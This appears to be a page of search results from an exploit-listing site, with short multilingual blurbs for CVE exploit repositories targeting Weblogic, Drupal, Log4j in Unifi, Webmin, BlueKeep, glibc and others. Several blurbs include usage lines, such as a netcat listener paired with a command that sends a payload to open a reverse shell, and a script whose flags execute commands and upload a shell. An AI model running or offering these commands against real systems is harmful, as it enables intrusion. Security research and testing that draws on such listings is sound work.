229601 matches found
CVE-2020-14871-Exploit
CVE 2020-14871 exploit de Solaris Este es un exploit básico basado en ROP para CVE 2020-14871. CVE 2020-14871 es una vulnerabilidad en sistemas Sun Solaris. La vulnerabilidad real es un desbordamiento de búfer clásico basado en pila ubicado en la función parseusername de PAM. Se puede alcanzar...
CVE-2017-8367
CVE-2017-8367 Exploit PoC para la vulnerabilidad CVE-2017-8367, funcionalidad de Registro de Easy Mov Converter: desbordamiento de búfer basado en pila. Uso Ejecuta el script y se creará el archivo POCPayload.txt que contendrá el payload. root@kitploit: python3 payloadgeneratorCVE-2017-15950.py...
CVE-2008-4654
CVE-2008-4654 Exploit PoC para la vulnerabilidad CVE-2008-4654 desbordamiento de búfer basado en pila en VLC Media Player a través de la extensión de archivo TiVo Ty. Uso Ejecute el script teniendo un archivo .ty+ de muestra en la misma carpeta que el script. El archivo ty+ se modificará para...
CVE-2017-5638
CVE-2017-5638 CVE: 2017-5638 en diferentes formatos La mayoría de ellos te requerirán ingresar la URL y es posible que quieras cambiar el comando Por favor, envía pull requests si puedes hacerlo de manera que puedas ingresar una URL y un comando PHP - Ejemplo...
NTP_CVE-2013-5211
NTPCVE-2013-5211 Exploit and check CVE-2013-5211...
cve-2013-2094
= CVE-2013-2094 的利用代码 http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/ == 构建方法 你需要像这样编译你选择的 C 文件： gcc -O2 file-name.c 需要 -O2 参数，因为漏洞利用的实际运作方式（更多信息请参阅博客文章）。 == 为什么 我认为原始的漏洞利用代码很酷且非常有趣，但对初学者来说难以理解，因此我决定稍微重写它，添加大量注释，并撰写一篇关于它的博客文章。...
CVE-2021-43798-Exploit-for-Windows-and-Linux
CVE-2021-43798-Exploit-for-Windows-and-Linux Exploit modificado para CVE-2021-43798. Código del exploit original: https://www.exploit-db.com/exploits/50581 Cambios: Esta versión modificada es compatible con servidores tanto de Windows como de Linux. Cuando un usuario introduce una ruta absoluta...
CVE-2020-17519-Exp
CVE-2020-17519-Exp CVE-2020-17519 EXP...
CVE-2018-7600-Drupal7
CVE-2018-7600-Drupal7 CVE-2018-7600【Drupal7】Batch scanning tool. root@kitploit: 主文件：CVE-2018-7600-Drupal7.py Main file: CVE-2018-7600-Drupal7.py 其实本质是封装了whoami的exp In essence, it encapsulates the whoami exploit Drupal7/8的原理是一样的但该脚本当是只做了7的适配 Drupal7/8 principles are the same, but this script...
CVE-2017-10271
weblogicwlswsatrce Weblogic wls-wsat组件反序列化漏洞CVE-2017-10271利用脚本，参考https://github.com/s3xy/CVE-2017-10271修改。 命令执行并回显 直接上传shell 在linux下weblogic 10.3.6.0测试OK 使用方法及参数 python weblogicwlswsatexp.py -t IP:7001 root@kitploit: usage: weblogicwlswsatexp.py -h -t TARGET -c CMD -o OUTPUT -s SHELL optional...
CVE-2020-27955
CVE-2020-27955 Gracias https://medium.com/bugbountywriteup/git-lfs-exploit-for-remote-code-execution-cve-2020-27955-e8f4786163c3...
Detect-CVE-2017-0144-attack
Programa Python para detectar ataques CVE-2017-0144 Programa Python cuya función es rastrear y supervisar el tráfico de red continuamente en tiempo real. Mostrará una alerta en la pantalla de la consola cuando detecte un ataque CVE-2017-0144 EternalBlue 1. Modelo del laboratorio Este laboratorio ...
CVE-2019-0708-EXP-MSF-
CVE-2019-0708-EXP-MSF- CVE-2019-0708-EXPMSF Vulnerability exploit program for cve-2019-0708 要求msf版本在5.0.4以上 root@kitploit: mkdir -p /usr/share/metasploit-framework/modules/exploit/windows/rdp/ mkdir -p /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/ mkdir -p...
CVE-2018-2893
CVE-2018-2893 Puede obtener una shell inversa directamente Uso Escuchar root@kitploit: nc -lvvp reverseport Enviar payload root@kitploit: python weblogic.py targethost targetport reversehost reverseport Referencias bigsizeme pyn3rd Notas Solo para pruebas e intercambio de aprendizaje, no lo use...
SpringBreaker
SpringBreaker Exploit PoC para el problema de RCE en Spring CVE-2011-2894...
Log4jUnifi
Log4jUnifi Explotando CVE-2021-44228 en Unifi Network Application para ejecución remota de código y más. Otro Log4j en el fuego: Unifi ¿Por qué? Las pruebas de concepto para esta vulnerabilidad están dispersas y deben realizarse manualmente. Este repositorio automatiza el proceso de explotación...
CVE-2023-4911
CVE-2023-4911 - Looney Tunables Esto es una prueba de concepto por ahora bastante rudimentaria para CVE-2023-4911. Hasta ahora solo he verificado que funciona en Ubuntu 22.10 kinetic. La versión actual del exploit contiene una cantidad considerable de offsets "mágicos". Si tienes sugerencias sobr...
CVE-2019-15107_webminRCE
CVE-2019-15107webminRCE exploit RcE no autorizado para webnin 1.920 versión modificada de https://github.com/jas502n/CVE-2019-15107 POC https://asciinema.org/a/YzMmXQyvZcsBF9OzccXxmHmyQ...
root-zte-open
root-zte-open exploit para CVE-2012-4220 que funciona en zte-open Aviso original: https://www.codeaurora.org/projects/security-advisories/multiple-issues-diagkgsl-system-call-handling-cve-2012-4220-cve-2012 Exploit original: https://github.com/hiikezoe/breaksetresuid Compilación root@kitploit: $...